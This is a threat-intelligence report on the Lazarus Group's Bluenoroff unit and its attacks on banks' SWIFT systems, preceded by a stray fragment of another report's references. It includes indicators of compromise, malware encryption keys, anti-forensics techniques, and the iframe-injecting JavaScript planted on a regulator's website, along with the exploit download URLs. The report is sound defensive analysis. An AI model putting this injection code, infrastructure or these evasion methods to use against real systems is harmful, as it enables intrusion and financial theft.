+|01:58:58:419|.[0351|WinMain ].+++ Load in 1260
+References 
+ past Turla research
+The Epic Turla Operation
+Satellite Turla: APT Command and Control in the Sky
+Agent.btz: a Source of Inspiration?
+The 
+Penquin
+ Turla
+Penquin
+s Moonlit Maze
+KopiLuwak: A New JavaScript Payload from Turla
+Uroburos: the snake rootkit [pdf]
+10/11
+The Snake Campaign
+11/11
+LAZARUS UNDER THE HOOD
+Executive Summary
+The Lazarus Group
+s activity spans multiple years, going back as far as 2009. Its malware has
+been found in many serious cyberattacks, such as the massive data leak and file wiper attack
+on Sony Pictures Entertainment in 2014; the cyberespionage campaign in South Korea, dubbed
+Operation Troy, in 2013; and Operation DarkSeoul, which attacked South Korean media and
+financial companies in 2013.
+There have been several attempts to attribute one of the biggest cyberheists, in Bangladesh in
+2016, to Lazarus Group. Researchers discovered a similarity between the backdoor used in
+Bangladesh and code in one of the Lazarus wiper tools. This was the first attempt to link the
+attack back to Lazarus. However, as new facts emerged in the media, claiming that there were
+at least three independent attackers in Bangladesh, any certainty about who exactly attacked
+the banks systems, and was behind one of the biggest ever bank heists in history, vanished.
+The only thing that was certain was that Lazarus malware was used in Bangladesh. However,
+considering that we had previously found Lazarus in dozens of different countries, including
+multiple infections in Bangladesh, this was not very convincing evidence and many security
+researchers expressed skepticism abound this attribution link.
+This paper is the result of forensic investigations by Kaspersky Lab at banks in two countries far
+apart. It reveals new modules used by Lazarus group and strongly links the tools used to attack
+systems supporting SWIFT to the Lazarus Group
+s arsenal of lateral movement tools.
+Considering that Lazarus Group is still active in various cyberespionage and cybersabotage
+activities, we have segregated its subdivision focusing on attacks on banks and financial
+manipulations into a separate group which we call Bluenoroff (after one of the tools they used).
+Introduction
+Since the beginning of 2016, the cyberattack against the Bangladesh Central Bank, which
+attempted to steal almost 1 billion USD, has been in the spotlight of all major news outlets.
+New, scattered facts popped up as the investigation developed and new incidents were made
+public, such as claims by the Vietnamese Tien Phong bank about the prevention of the theft of 1
+million USD in December 2015.
+Security companies quickly picked up some patterns in the tools used in those attacks and
+linked them to Lazarus Group.
+The Lazarus Group
+s activity spans multiple years, going back as far as 2009. However, its
+activity spiked from 2011. The group has deployed multiple malware families across the years,
+including malware associated with Operation Troy and DarkSeoul, the Hangman malware
+(2014-2015) and Wild Positron/Duuzer (2015). The group is known for spearphishing attacks,
+which include CVE-2015-6585, a zero-day vulnerability at the time of its discovery.
+The last major set of publications on the Lazarus actor was made possible due to a security
+industry alliance lead by Novetta. The respective research announcement was dubbed
+Operation Blockbuster.
+The following quote from Novetta's report, about the purpose of the research, caught our eye:
+"While no effort can completely halt malicious operations, Novetta believes that these efforts
+can help cause significant disruption and raise operating costs for adversaries, in addition to
+profiling groups that have relied on secrecy for much of their success."
+Bluenoroff: a Child of Lazarus
+Clearly, even before the Operation Blockbuster announcement, Lazarus had an enormous
+budget for its operations and would need a lot of money to run its campaigns. Ironically,
+Novetta's initiative could have further increased the already rising operating costs of Lazarus
+attacks, which in turn demanded better financing to continue its espionage and sabotage
+operations. So, one of the new objectives of Lazarus Group could be to become self-sustaining
+and to go after money. This is where Bluenoroff, a Lazarus unit, enters the story. Based on our
+analysis, we believe this unit works within the larger Lazarus Group, reusing its backdoors and
+leveraging the access it created, while penetrating targets that have large financial streams. Of
+course it implies a main focus on banks, but banks are not the only companies that are
+appearing on the radar of Bluenoroff: financial companies, traders and casinos also fall within
+Bluenoroff
+s area of interest.
+Novetta's report doesn't provide strict attribution, linking only to the FBI's investigation of the
+Sony Pictures Entertainment hack and a strong similarity in the malware tools. Sometime later,
+the media carried additional facts about how strong the FBI's claims were, supporting this with
+some data allegedly from the NSA. The deputy director of the NSA, Richard Ledgett recently
+commented on Lazarus and its link to North Korea, however no new evidence of this link has
+been provided.
+Since the incident in Bangladesh, Kaspersky Lab has been tracking the actor going after
+systems supporting SWIFT messaging, collecting information about its new attacks and
+operations. The recently discovered massive attack against banks in Europe in February 2017
+was also a result of this tracking. Highly important malicious activity was detected by Kaspersky
+Lab products in multiple European financial institutions in January 2017 and this news
+eventually ended up being published by the Polish media. The journalists
+ investigations jumped
+slightly ahead of technical investigations and disclosed some facts before the analysis was
+finished. When it comes to Lazarus, the investigation and discovery of new facts is a long chain
+of events which consist of forensic and reverse engineering stages following one another.
+Hence, results cannot be made available immediately.
+Previous Link to Lazarus Group
+Since the Bangladesh incident there have been just a few articles explaining the connection
+between Lazarus Group and this particular heist. One was published by BAE systems in May
+2016, however, it only included an analysis of the wiper code. This was followed by another
+blogpost by Anomali Labs confirming the same wiping code similarity. This similarity was found
+to be satisfying to many readers, but we wanted to look for a stronger connection.
+Other claims that the attacker targeting the financial sector in Poland was Lazarus Group came
+from Symantec in 2017, which noticed string reuse in malware used at one of their Polish
+customers. Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their
+customers, however from this it's only clear that Lazarus might have attacked Polish banks.
+While all these facts look fascinating, the connection between Lazarus attacks on banks and its
+role in attacks their back office operations was still a loose one. The only case where malware
+targeting the infrastructure used to connect to SWIFT was discovered is the Bangladesh Central
+Bank incident. However, while almost everybody in the security industry has heard about the
+attack, few technical details based on the investigation that took place on site at the attacked
+company have been revealed to the public. Considering that the post-hack stories in the media
+mentioned that the investigation stumbled upon three different attackers, it was not obvious
+whether Lazarus was the one responsible for the fraudulent SWIFT transactions, or if Lazarus
+had in fact developed its own malware to attack the banks' systems.
+In addition, relying solely on a single similarity based on file wiping code makes the connection
+not as strong, because the secure file wiping procedure is a utility function that can be used in
+many non-malware related projects. Such code could be circulating within certain software
+developer communities in Asia. One such example is an open-source project called sderase
+available with sourcecode at SourceForge, submitted by a developer with an Asian looking
+nickname - zhaoliang86. We assumed that it's possible that there are many other projects like
+sderase available on Asian developer forums, and code like this could be borrowed from them.
+We would like to add a few strong facts that link some attacks on banks to Lazarus, to share
+some of our own findings and to shed light on the recent TTPs (Tactics, Techniques and
+Procedures) used by the attacker, including some as yet unpublished details from the attack in
+Europe in 2017.
+Incident #1
+The incident happened in a South East Asian country in August 2016, when Kaspersky Lab
+products detected new malicious activity from the Trojan-Banker.Win32.Alreay malware family.
+This malware was linked to the arsenal of tools used by the attackers in Bangladesh. As the
+attacked organization was a bank, we decided to investigate this case in depth. During the
+months of cooperation with the bank that followed, we revealed more and more tools hidden
+deep inside its infrastructure. We also discovered that the attackers had learned about our
+upcoming investigation and wiped all the evidence they could, including tools, configuration files
+and log records. In their rush to disappear they managed to forget some of the tools and
+components, which remained in the system.
+Malware Similarity
+Just like other banks that have their own dedicated server to connect to SWIFT, the bank in
+Incident #1 had its own. The server was running SWIFT Alliance software.
+Since the notorious Bangladesh cyberattack, the SWIFT Alliance software has been updated to
+include some additional checks which verify software and database integrity. This was an
+essential and logical measure as attackers had shown attempts to tamper with SWIFT software
+Alliance on disk and in memory, disabling direct database manipulations, as previously reported
+in the analysis by BAE Systems. This was discovered by the attackers, who tracked the
+changes in SWIFT Alliance software. The malware tools found in Incident #1 suggested that the
+attackers had carefully analyzed the patches and implemented a better way to patch new
+changes. More details on the patcher tool are provided in the Appendix.
+The malware discovered on the server connected to SWIFT strongly linked Incident #1 to the
+incident in Bangladesh. While certain tools were new and different in the malware code, the
+similarities left no doubt that the attacker in Incident #1 used the same code base. Below are
+some of the identical code and encryption key patterns that we found.
+Sample submitted from Bangladesh and
+mentioned in the BAE Systems blog.
+MD5: 1d0e79feb6d7ed23eb1bf7f257ce4fee
+Sample discovered in Incident #1 to copy
+SWIFT message files to separate storage.
+MD5:f5e0f57684e9da7ef96dd459b554fded
+The screenshot above shows the disassembly of the logging function implemented in the
+malware. The code is almost identical. It was improved a little by adding current process ID to
+the log record.
+Never stopping code modification by the developer seems to be one of Lazarus Group
+s longterm strategies: it keeps changing the code even if it doesn't introduce much new functionality.
+Changing the code breaks Yara recognition and other signature-based detections. Another
+example of changing code, while preserving the core idea, originates from Novetta's sample set.
+One of the Lazarus malware modules that Novetta discovered used a binary configuration file
+that was encrypted with RC4 and a hardcoded key.
+A fragment of the code that loads, decrypts and verifies config file magic is shown below.
+Note that the first DWORD of the decrypted data has to be 0xAABBCCDD. The new variants of
+Lazarus malware used since Novetta
+s publication included a different code, with a new magic
+number and RC4 key, but following the same idea.
+Sample submitted from Bangladesh. Uses
+magic value 0xA0B0C0D0
+Sample discovered in Incident #1. Uses magic
+value 0xA0B0C0D0
+MD5: 1d0e79feb6d7ed23eb1bf7f257ce4fee
+MD5: f5e0f57684e9da7ef96dd459b554fded
+The code above is used to read, decrypt and check the external config file. You can see how it
+was modified over time. The sample from Incident #1 has certain differences which would break
+regular binary pattern detection with Yara. However, it's clearly the same but improved code.
+Instead of reading the file once, malware attempts to read it up to five times with a delay of
+100ms. Then it decrypts the file with a hardcoded RC4 key, which is an identical 16 bytes in
+both samples (4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF), and verifies the magic
+value which must be 0xA0B0C0D0.
+According to forensic analysis, this malware was used by an actor who had remote access to
+the system via its own custom set of backdoors. Most of the analyzed hosts were not directly
+controlled via a C2 server. Instead they connected to another internal host that relayed TCP
+connection to the C2 using a tool that we dubbed the TCP Tunnel Tool. This tool can be used to
+chain internal hosts within the organization and relay connection to the real C2 server. This
+makes it harder for administrators to identify compromised hosts, because local connections
+usually seem less suspicious. One very similar tool was also described by Novetta, which it
+dubbed Proxy PapaAlfa. This tool is one of the most popular during an attack. Some hosts were
+used only as a relay, with no additional malware installed on them. That's why we believe that
+the Lazarus actor has many variants of this tool and changes it often to scrutinize network or
+file-based detection. For full the technical details of the tool discovered in Incident #1 see
+Appendix (MD5: e62a52073fd7bfd251efca9906580839).
+One of the central hosts in the bank, which was running SWIFT Alliance software, contained a
+fully-fledged backdoor (MD5: 2ef2703cfc9f6858ad9527588198b1b6) which has the same strong
+code and protocol design as a family of backdoors dubbed Romeo by Novetta. The same, but
+packed, backdoor was uploaded to a multiscanner service from Poland and South Korea in
+November 2016 (MD5: 06cd99f0f9f152655469156059a8ea25). We believe that this was a
+precursor of upcoming attacks on Poland and other European countries, however this was not
+reported publicly in 2016. The same malware was delivered to the European banks via an
+exploit attack in January 2017.
+There are many other visible similarities between the Lazarus malware reported by Novetta and
+malware discovered in Incident #1, such as an API import procedure and a complicated custom
+PE loader. The PE loader was used by many malware components: DLL loaders, injectors, and
+backdoors.
+LimaAlfa sample from Novetta's Lazarus
+malware set (loader of other malicious files).
+Sample discovered in Incident #1 (backdoor
+which contains PE loader code).
+MD5: b135a56b0486eb4c85e304e636996ba1
+MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c
+Note that the modules presented differ in file type and purpose: Novetta's sample is an EXE file
+which is used to load other malicious PE files, while the sample discovered in Incident #1 is a
+DLL backdoor. Still, they are based on an identical code base.
+The discussion about similarities can be continued. However, it's now very clear that the attack
+in Bangladesh and Incident #1 are linked through the use of the Lazarus malware arsenal.
+Forensic Findings on the Server Connected to SWIFT
+In the case of the South East Asian attack we have seen infections both on the server
+connecting to SWIFT and several systems that belong to the IT department of the company. We
+managed to recover most of the modules, while some others were securely wiped and became
+inaccessible for analysis. Nevertheless, in many cases we see references to unique filenames
+that were also seen on other infected systems and were most likely malicious tools. As we
+learned from the analysis of this incident, there are cross-victim event correlations, which
+suggest that attackers worked in multiple compromised banks at the same time.
+Here are our key takeaways from the forensic analysis:
+ The attackers had a foothold in the company for over seven months. The South East
+Asian bank was breached at the time when the Bangladesh heist happened.
+ Most of the malware was placed into a C:\Windows directory or C:\MSO10 directory.
+These two paths were hardcoded into several modules.
+ The malware was compiled days or sometimes hours before it was deployed, which
+suggests a very targeted and surgical operation.
+ The attackers used an innocent looking decryptor with a custom PE loader designed to
+bypass detections by security products on start.
+ Most of the modules are designed to run as a service or have administrative/SYSTEM
+rights.
+The backdoors found in this attack on the server connecting to SWIFT matched the
+design described by Novetta as a Romeo family of backdoors (RATs) in their paper,
+which directly links the South East Asian case to Lazarus.
+Not everything ran smoothly for the attacker. We found multiple events of process
+crashes and system restarts during the time of the alleged attacker
+s presence.
+Attackers operated out of office hours according to the victim's schedule and timezone to
+avoid detection.
+They attempted to debug some problems by enabling the sysmon driver for several
+hours. Later, they forgot to wipe the sysmon event log file, which contained information
+on running processes, their respective commandlines and file hashes.
+There was specific malware targetting SWIFT Alliance software that disabled internal
+integrity checks and intercepted processed transaction files. We called this 
+SWIFT
+targeted malware
+ and directly attribute authorship to the Bluenoroff unit of Lazarus.
+The SWIFT malware is different from other Lazarus tools, because it lacks obfuscation,
+disguise and packing.
+Persistence was implemented as Windows service DLL, registered inside the group of
+Network Services (netsvcs).
+They used a keylogger, which was stored in an encrypted container. This was decrypted
+and loaded by a loader that fetched the encrypted information from a different machine
+(disguised as one of the files in C:\Windows\Web\Wallpaper\Windows\).
+The attackers patched SWIFT Alliance software modules on disk permanently, but later
+rolled back the changes. Another operational failure was forgetting to restore the
+patched module in the backup folder. The patch applied to the liboradb.dll module is very
+similar to the one described by BAE Systems in its article about the Bangladesh attacks.
+Attackers used both passive and active backdoors. The passive backdoors listened on
+the TCP port which was opened in Firewall via a standard netsh.exe command. That left
+additional records in system event log files. The port was set in the config, or passed as
+a command-line argument. They prefer ports ending with 443, i.e. 6443, 8443, 443.
+Internal SWIFT Alliance software logs contained several alerts about database failures
+from June to August 2016, which links to attackers
+ attempts to tamper with the database
+of transactions.
+The attackers didn't have visual control of the desktop through their backdoors which is
+why they relied on their own TCP tunnel tools that forwarded RDP ports to the operator.
+As a result we identified the anomalous activity of Terminal Services: they worked late
+and sometimes during weekends.
+One of the earliest Terminal Services sessions was initiated from the webserver hosting
+the company's public website. The webserver was in the same network segment as the
+server connected to SWIFT and was most likely the patient zero in this attack.
+Timeline of Attacks
+Due to long-term cooperation with the bank we had the chance to inspect several compromised
+hosts in the bank. Starting with analysis of the central host, which was the server connecting to
+SWIFT; we could see connections to other hosts in the network. We suspected them to be
+infected and this was confirmed during a closer look.
+Once the contact between that bank and Kaspersky Lab was established, the attackers
+somehow realized that the behavior of system administrators was not normal and soon after
+that they started wiping all traces of their activity. Revealing traces of their presence took us a
+couple of months, but we managed to collect and build a rough timeline of some of their
+operations, which again provided us with activity time information.
+We have collected all timestamps that indicate the activity of the attackers and put them in one
+table, which has helped us to build a timeline of events based on the remaining artefacts.
+Fig. Timeline of events in related to Incident #1.
+Synchronicity of Events in Different Incidents
+During the analysis of event log files we found one coming from Sysinternals Sysmon.
+Surprisingly, the event log file contained records of malware activity from months before the
+forensic analysis, logging some of the intruders
+ active work.
+When we discovered that strange sysmon log we were confused, as it seemed like the attacker
+enabled it, or someone who wanted to monitor the attacker did. Later on, a security researcher
+familiar with the Bangladesh investigation results confirmed that similar sysmon activity was
+also registered on 29 January 2016. This means that it happened to at least two different victims
+within minutes.
+Another event was related to tampering with SWIFT database modules.
+During the analysis of systems in Incident #1, we found a directory
+C:\Users\%username%\Desktop\win32\ which was created at 2016-02-05 03:22:51 (UTC).
+The directory contained a patched liboradb.dll file which was modified at 2016-02-04 14:07:07
+(UTC), while the original unpatched file seems to be created on 2015-10-13 12:34:26 (UTC) and
+stored in liboradb.dll.bak. This suggests attacker activity around 2016-02-04 14:07:07 (UTC).
+This was the date of the widely publicized Bangladesh cyber heist.
+This finding corresponds to already known incident at Bangladesh Central Bank in February
+2016. According to BAE, in BCB the module 
+liboradb.dll
+ was also patched with the same 
+ technique.
+Fig. Patched module in Bangladesh case (courtesy of BAE Systems).
+So far, this means that the attackers' activity and the file modification occurred on the same day
+in two banks in two different countries on 29 January, 2016 and 4 February, 2016.
+To conclude, Bangladesh Central Bank was probably one of many banks compromised for the
+massive operation involving hundreds of millions of dollars. A bank in South East Asia linked to
+Incident #1 is live confirmation of this fact.
+Anti-Forensics Techniques
+Some of the techniques used by the attackers were quite new and interesting. We assume that
+the attackers knew about the constraints implied by the responsibility of SWIFT and the bank
+when it comes to investigating a cyberattack. So far, all infected assets were chosen to be
+distributed between SWIFT connected systems and the bank
+s own systems. By splitting the
+malicious payload into two pieces and placing them in two different zones of responsibility, the
+attackers attempted to achieve zero visibility from any of the parties that would investigate or
+analyze suspicious files on its side. We believe that involving a third-party like Kaspersky Lab
+makes a big change to the whole investigation.
+Technically it was implemented through a simple separation of files, which had to be put
+together to form a fully functioning malicious process. We have seen this approach at least
+twice in current forensic analysis and we strongly believe that it is not a coincidence.
+Malware Component 1
+Malware Component 2
+Description
+Trojan Dropper,
+igfxpers.exe was found
+on HostC
+Dropped Backdoor, was
+found on HostD
+The backdoor was dropped on the
+disk by the Dropper, if the operator
+started it with valid secret password,
+provided via commandline.
+DLL Injector, esserv.exe
+was found on HostD
+Keylogger, loaded by DLL
+Injector was found on
+HostA
+The Keylogger was stored in
+encrypted container and could only be
+loaded with the DLL Injector from
+another host.
+It's common for forensic procedures to be applied to a system as a whole. With standard
+forensic procedures, which include the analysis of a memory dump and disk image of a
+compromised system, it is uncommon to look at a given computer as a half-compromised
+system, meaning that the other ingredient which makes it compromised lives elsewhere.
+However, in reality the system remains breached. It implies that a forensic analyst focusing on
+the analysis of an isolated single system may not see the full picture. That is why we believe
+that this technique was used as an attempt to prevent successful forensic analysis. With this in
+mind, we'd like to encourage all forensics analysts to literally look outside of the box when
+conducting breach analysis, especially when you have to deal with Lazarus.
+Password Protected Malware
+Another interesting technique is in the use of password-protected malware. While this technique
+isn't exactly new, it is usually a signature of advanced attackers. One such malware that comes
+to mind is the mysterious Gauss malware, which requires a secret ingredient to decrypt its
+protected payload. We published our research about Gauss malware in 2012 and since then
+many attempts have been made to crack the Gauss encryption passphrase, without any
+success.
+The idea is quite a simple yet very effective anti-forensics measure: the malware dropper
+(installer) uses a secret passphrase passed via command line argument. The argument is
+hashed with MD5 and is used as the key to decrypt the payload. In the context of the Incident
+#1 attack, the payload was, in turn, a loader of the next stage payload, which was encrypted
+and embedded into the loader. The loader didn't have the key to decrypt its own embedded
+payload, but it looked for the decryption key in the registry value. That registry value should
+have to be set by the installer, otherwise the malware doesn't work. So, clearly, unless you have
+the secret passphrase, you cannot reconstruct the full chain of events. In the case of Incident #1
+we managed to get the passphrase and it was a carefully selected string consisting of 24
+random alpha-numeric upper and lowercase characters.
+About The Infection Vector
+Due to the age of the breach inside the bank, little has been preserved and it's not very clear
+how the attackers initially breached the bank. However, what becomes apparent is that they
+used a web server located in the bank to connect via Terminal Services to the one linking to
+SWIFT connected systems. In some cases they would switch from the web server to another
+internal infected host that would work as a relay. However, all the hosts that we analyzed had
+no interaction with the external world except for the web server mentioned, which hosted the
+company's website and was exposed to the world.
+The web server installation was quite fresh: it had hosted the company's new website, which
+was migrated from a previous server, for just a few months before it was compromised. The
+bank contracted a pentesting company to do a security assessment of the new website which
+was ongoing when Lazarus breached the server. The infection on the web server appeared in
+the middle of pentesting probes. Some of these probes were successful and the pentester
+uploaded a C99-like webshell to the server as a proof of breach. Then the pentester continued
+probing other vulnerable scripts on the server, which is why we believe that the intention was
+benign. In the end, all scripts discovered by the pentester were reported and patched.
+Considering that there were known breaches on the webserver, which were identified and
+patched with the help of an external security audit, there is a high probability that the server was
+found and breached by the Lazarus actor before the audit. Another possibility is that the C99shell uploaded by the pentester was backdoored and beaconed back to the Lazarus Group,
+which immediately took over the server. Unfortunately, the C99-shell was identified only by the
+query string, the body of the webshell was not recovered.
+One way or another, the breach of the web server seems to be the most probable infection
+vector used by Lazarus to enter the bank
+s network.
+Incident #2
+Our investigation in Europe started with very similar symptoms to those which we have
+previously seen in South East Asia in Incident #1. In January 2017 we received information
+about new detections of the Bluenoroff malware we have been tracking. One of the alarming
+triggers was the sudden deployment of freshly built samples, which indicated that a new serious
+operation had begun.
+After establishing a secure communication with some of the targets, we passed some indicators
+of compromise and quickly got some feedback confirming the hits.
+Thanks to the support and cooperation of a number of partners, we managed to analyse
+multiple harddrive disk images that were made soon after taking the identified compromised
+systems offline.
+Analysis of the disk images revealed the presence of multiple malware tools associated with the
+Bluenoroff unit of the Lazarus Group. Analysis of the event logs indicate that several hosts were
+infected and other hosts had been targeted by the attackers for lateral movement operations.
+Attackers attempted to access the domain controller and mail server inside the companies,
+which is why we recommend that future investigators should avoid using corporate email for
+communicating with victims of Lazarus Group.
+In one case, the initial attack leveraged an old vulnerability in Adobe Flash Player, which was
+patched by Adobe in April 2016. Although an updater was installed on this machine, it failed to
+update Adobe Flash Player, probably due to network connectivity issues.
+Initial Infection.
+In one of the incidents, we discovered that patient zero visited a compromised government
+website using Microsoft Internet Explorer on 10 January, 2017.
+Infected webpage URL: https://www.knf.gov[.]pl/opracowania/sektor_bankowy/index.html
+The time of the visit is confirmed by an Internet Explorer cache file, which contains an html page
+body from this host.
+The webpage loaded a Javascript resource from the same webserver referenced from the page:
+<script type="text/javascript" src="/DefaultDesign/Layouts/KNF2013/resources/accordiansrc.js?ver=11"></script>
+The information provided below appeared in the public domain.
+Preliminary investigation suggests that the starting point for the infection could have been located on
+the webserver of a Polish financial sector regulatory body, Polish Financial Supervision Authority
+(www.knf.gov[.]pl). Due to a slight modification of one of the local JS files, an external JS file was loaded,
+which could have executed malicious payloads on selected targets.
+Note: image is a courtesy of badcyber.com
+unauthorised
+code
+located
+following
+http://www.knf.gov[.]pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver=11
+and looked like this:
+document.write("<div
+id='efHpTk'
+width='0px'
+height='0px'><iframe
+file:
+name='forma'
+src='https://sap.misapor[.]ch/vishop/view.jsp?pagenum=1' width='145px' height='146px' style='left:2144px;position:absolute;top
+:0px;'></iframe></div>");
+After successful exploitation, malware was downloaded to the workstation, where, once executed, it
+connected to some foreign servers and could be used to perform network reconnaissance, lateral
+movement and data exfiltration.
+Visiting the exploit page resulted in Microsoft Internet Explorer crashing, which was recorded
+with a process dump file. The dumped process included the following indicators:
+[version="2"]
+[swfURL="https://sap.misapor[.]ch/vishop/include/cambio.swf"
+pageURL="https://sap.misapor[.]ch/vishop/view.jsp"]...
+Additional research by Kaspersky Lab discovered that the exploit file at
+hxxp://sap.misapor[.]ch:443/vishop/include/cambio.swf resulted in the download of a
+backdoor module.
+Based on our own telemetry, Kaspersky Lab confirms that sap.misapor[.]ch was compromised
+as well, and was spreading exploits for Adobe Flash Player and Microsoft Silverlight. Some of
+the known vulnerability CVEs observed in attacks originate from that website:
+CVE-2016-4117
+CVE-2015-8651
+CVE-2016-1019
+CVE-2016-0034
+The Flash exploit used in the attacks was very similar to known exploits from the Magnitude
+Exploit Kit. These vulnerabilities have been patched by Adobe and Microsoft since April 2016
+and January 2016 respectively.
+Fig. Part of the exploit code
+Inside the exploits, one can see a lot of Russian word strings, like 
+chainik
+BabaLena
+vyzov_chainika
+podgotovkaskotiny
+, etc. The shellcode downloads the final payload from:
+https://sap[.]misapor.ch/vishop/view.jsp?uid=[redacted]&pagenum=3&eid=00000002&s=2
+&data=
+It's worth mentioning here that Lazarus used other false flags in conjunction with this Russian
+exploit code. They also used some Russian words in one of the backdoors and packed the
+malware with a commercial protector (Enigma) developed by a Russian author. However, the
+Russian words in the backdoor looked like a very cheap imitation, because every native
+Russian speaking software developer quickly noticed how odd these commands were.
+Fig. Russian words in the backdoor code.
+At the time of research this URL was dead but we were able to find an identical one which leads
+to a malicious file download (MD5: 06cd99f0f9f152655469156059a8ea25, detected as TrojanBanker.Win32.Alreay.gen) from http://www.eye-watch[.]in/design/img/perfmon.dat.
+Interestingly, this sample was uploaded to VirusTotal from Poland and Korea in November
+2016. It is a packed version of a previously known backdoor used by Lazarus attackers in
+Incident #1
+s bank.
+What Made the Breach Possible
+Since the attackers didn
+t use any zero-days, the infiltration was successful because of nonupdated software. In one case, we observed a victim running the following software:
+The exploit breached the system running Adobe Flash Player, version 20.0.0.235. This version
+was officially released on 8 December, 2015.
+Adobe implemented a self-update mechanism for Flash Player some years ago and the
+analyzed system indeed had a scheduled job, which attempted to periodically update Adobe
+Flash Updater. We checked the event logs of the Task Scheduler and this task was regularly
+running.
+The task was started as SYSTEM user and attempted to connect to the Internet to fetch Flash
+Player updates from fpdownload.macromedia.com. However, this attempt failed, either
+because it couldn't find the proxy server to connect to the update server, or because of missing
+credentials for the proxy. The last failed attempt to update Adobe Flash was dated in December
+2016, a month before the breach happened. If only that updater could have accessed the
+Internet the attack would have failed. This is an important issue that may be widely present in
+many corporate networks.
+Lateral Movement. Backup Server.
+After the initial breach the attackers pivoted from infected hosts and emerged to migrate to a
+safer place for persistence. A backup server was chosen as the next target.
+Based on traffic logs provided for our analysis, we confirmed that there were connections to
+known Bluenoroff C2 servers originating from infected hosts. The following information was
+found in the network logs:
+Destination:Port
+Type
+Bytes Transfered
+82.144.131[.]5:8080
+Incomplete
+Less than 1KB
+82.144.131[.]5:443
+Less than 3KB
+By checking other non-whitelisted hosts and IP ranges we were able to identify an additional C2
+server belonging to the same attackers:
+Destination:Port
+Type
+Bytes Transfered
+73.245.147[.]162:443
+Less than 1.5MB
+While this additional C2 hasn't been reported previously, there were no additional hosts found
+that connected to that server.
+Lateral Movement. Host1.
+During the attack, the threat actor deployed a number of other malware to a second machine we
+call Host1. The malware files include:
+Filename
+Size
+%SYSTEM%\msv2_0.dll
+78'848 bytes
+474f08fb4a0b8c9e1b88349098de10b1
+%WINDIR%\Help\msv2_0.chm
+729'088 bytes
+579e45a09dc2370c71515bd0870b2078
+%WINDIR%\Help\msv2_0.hlp
+3'696 bytes
+7413f08e12f7a4b48342a4b530c8b785
+The msv2_0.dll decrypts and loads the payload from msv2_0.chm, which, in turn, decrypts and
+loads a configuration file from msv2_0.hlp. msv2_0.hlp, which is encrypted with Spritz
+encryption algorithm and the following key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72
+E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98
+Full technical details about this malware are available in the Appendix.
+The decrypted configuration file contains references to two previously known1 Bluenoroff C2
+servers:
+ tradeboard.mefound[.]com:443
+ movis-es.ignorelist[.]com:443
+Another file created around the same time was found in:
+ C:\Windows\Temp\tmp3363.tmp.
+It included a short text file which contained the following text message:
+[SC] StartService FAILED 1053:
+The service did not respond to the start or control request in a timely fashion.
+Additional searches by events which occurred around the same time brought some evidence of
+other command line executable modules and Windows system tools being run on that day and
+later. The following Prefetch files indicate the execution of other modules:
+Executable
+Run Counter
+RUNDLL32.EXE
+RUNDLL32.EXE2
+FIND.EXE
+GPSVC.EXE
+SC.EXE
+NET.EXE
+NETSTAT.EXE
+MSDTC.EXE
+This confirms the active reconnaissance stage of the attack.
+According to prefetch files for RUNDLL32.EXE, this executable was used to load msv2_0.dll
+and msv2_0.chm. References to these files were found in the prefetch data of this process.
+Bluenoroff is a Kaspersky Lab codename for a threat actor involved in financial targeted attacks. The
+most well-known attack launched by the Bluenoroff group is the Bangladesh bank heist.
+Same executable was run with different command line
+Note: MSDTC.EXE and GPSVC.EXE are among the commonly used filenames of these
+attackers in the past. While these filenames may look legitimate, their location was different
+from the standard system equivalents.
+Standard Windows msdtc.exe binary is usually located in
+%systemroot%\System32\msdtc.exe, while the attacker placed msdtc.exe in
+%systemroot%\msdtc.exe for disguise. The path was confirmed from parsed prefetch files.
+Unfortunately the attackers have already securely wiped the msdtc.exe file in the Windows
+directory. We were unable to recover this file.
+The same applies to %systemroot%\gpvc.exe which existed on the dates of the attack but was
+securely wiped by the attackers later.
+Based on the timestamps we found so far, it seems that the initial infection of Host1 occurred
+through access from a privileged account. We looked carefully at the events preceding the
+infection time and found something suspicious in the Windows Security event log:
+Description
+Special privileges assigned to new logon.
+Subject:
+Security ID: [REDACTED]
+Account Name: [ADMIN ACCOUNT REDACTED]
+Account Domain: [REDACTED]
+Logon ID: [REDACTED]
+Privileges: SeSecurityPrivilege
+SeBackupPrivilege
+SeRestorePrivilege
+SeTakeOwnershipPrivilege
+SeDebugPrivilege
+SeSystemEnvironmentPrivilege
+SeLoadDriverPrivilege
+SeImpersonatePrivilege
+Then, we checked if the user 
+[ADMIN ACCOUNT REDACTED]' had logged into the same
+system in the past. According to the event logs this had never happened before the attackers
+used it. Apparently, this user logon had very high privileges (SeBackupPrivilege,
+SeLoadDriverPrivilege, SeDebugPrivilege, SeImpersonatePrivilege), allowing the remote
+user to fully control the host, install system services, drivers, start processes as other users, and
+have full control over other processes running in the system (i.e. inject code into their memory).
+Next, we searched for other event log records related to the activity of the same account, and
+found several records suggesting that this account was used from Host1 to access other hosts
+in the same domain.
+Description
+A logon was attempted using explicit credentials.
+Account Whose Credentials Were Used:
+Account Name: [ADMIN ACCOUNT REDACTED]
+Account Domain: [REDACTED]
+Logon GUID: {00000000-0000-0000-0000-000000000000}
+Target Server:
+Target Server Name: [REDACTED]
+Additional Information: [REDACTED]
+Process Information:
+Process ID: 0x00000000000xxxxx
+Process Name: C:\Windows\System32\schtasks.exe
+Network Information:
+Network Address: Port: This event is generated when a process attempts to log on an account by
+explicitly specifying that account
+s credentials. This most commonly
+occurs in batch-type configurations such as scheduled tasks, or when
+using the RUNAS command.
+This indicates that the account was used to create new scheduled tasks on the remote hosts.
+This is one of the popular ways to remotely run new processes and propagate infections during
+cyber attacks.
+Then we searched for other similar attempts to start schtasks.exe remotely on other hosts and
+collected several of them.
+Lateral Movement. Host2.
+This host contained several unique and very large malware modules.
+The following files were found on the system:
+Filename
+Size
+C:\Windows\gpsvc.exe
+3'449'344 bytes
+1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae
+C:\Windows\Help\srservice.chm
+1'861'632 bytes
+cb65d885f4799dbdf80af2214ecdc5fa
+(decrypted file MD5:
+ad5485fac7fed74d112799600edb2fbf)
+C:\Windows\Help\srservice.hlp
+3696 bytes
+954f50301207c52e7616cc490b8b4d3c
+(config file, see description of
+ad5485fac7fed74d112799600edb2fbf)
+C:\Windows\System32\srservice.dll
